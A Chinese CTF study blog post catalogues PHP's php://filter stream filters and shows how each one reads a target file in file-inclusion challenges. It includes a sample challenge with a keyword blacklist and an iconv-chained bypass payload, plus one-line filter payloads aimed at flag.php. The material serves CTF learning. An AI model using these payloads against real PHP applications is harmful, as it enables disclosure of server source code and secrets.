一直在用php://filter做文件包含类的题目,但是对它有哪些过滤器,作用是啥,了解有限。于是根据官方文档,对各种过滤器的用法,作用做一个大概的总结和实验。
官方文档传送门:可用过滤器列表
像这种过滤了很多过滤器的题目就可以找没过滤的bypass
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
payload:
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php
string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。
利用姿势:
php://filter/string.rot13/resource=flag.php
string.toupper 将字符串转化为大写
利用姿势:
php://filter/string.toupper/resource=flag.php
string.toupper 将字符串转化为小写
利用姿势:
php://filter/string.tolower/resource=flag.php
string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
利用姿势:
php://filter/string.strip_tags/resource=flag.php
php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除。
Conversion Filters(转换过滤器)如同 string. 过滤器,convert. 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。
这个过滤器经常使用,base64加密,利用姿势:
php://filter/convert.base64-encode/resource=flag.php
不知道这个有啥用,就在后面加了个=0A
,这个过滤器作用和quoted_printable_decode()
相等。
利用姿势:
php://filter/convert.quoted-printable-encode/resource=flag.php
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()
函数处理所有的流数据。(好像7.3之后就废弃了?)
使用方法:
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
就是编码方式,有如下几种;
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
利用姿势:把flag.php的内容从UCS-2LE
编码转换为UCS-2BE
编码
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
zlib.deflate(压缩)和 zlib.inflate(解压)
使用姿势:
php://filter/zlib.deflate/resource=flag.php
使用姿势:
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
和前面的差不多
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用:
太菜了,看了半天官方文档也没懂这个过滤器怎么用,以后会了在更。
2021.4.27,又研究了一下,还是没搞懂
php://filter/mdecrypt.tripledes
或者这样
php://filter/mdecrypt.3DES
mcrypt_module_open()
的用法
/* 打开加密算法和模式 */
$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
/* 创建初始向量,并且检测密钥长度。
* Windows 平台请使用 MCRYPT_RAND。 */
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
$ks = mcrypt_enc_get_key_size($td);
/* 创建密钥 */
$key = substr(md5('very secret key'), 0, $ks);
/* 初始化加密 */
mcrypt_generic_init($td, $key, $iv);
/* 加密数据 */
$encrypted = mcrypt_generic($td, 'zyx father');
/* 结束加密,执行清理工作 */
mcrypt_generic_deinit($td);
/* 初始化解密模块 */
mcrypt_generic_init($td, $key, $iv);
/* 解密数据 */
$decrypted = mdecrypt_generic($td, $encrypted);
/* 结束解密,执行清理工作,并且关闭模块 */
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
/* 显示文本 */
echo trim($decrypted) . "\n";
?>
先加密
然后解密
啊啊啊啊啊啊,有大佬会的话带带弟弟,qaq
学习自:
官方文档
https://www.anquanke.com/post/id/202510#h3-9
https://www.php.net/manual/zh/filters.php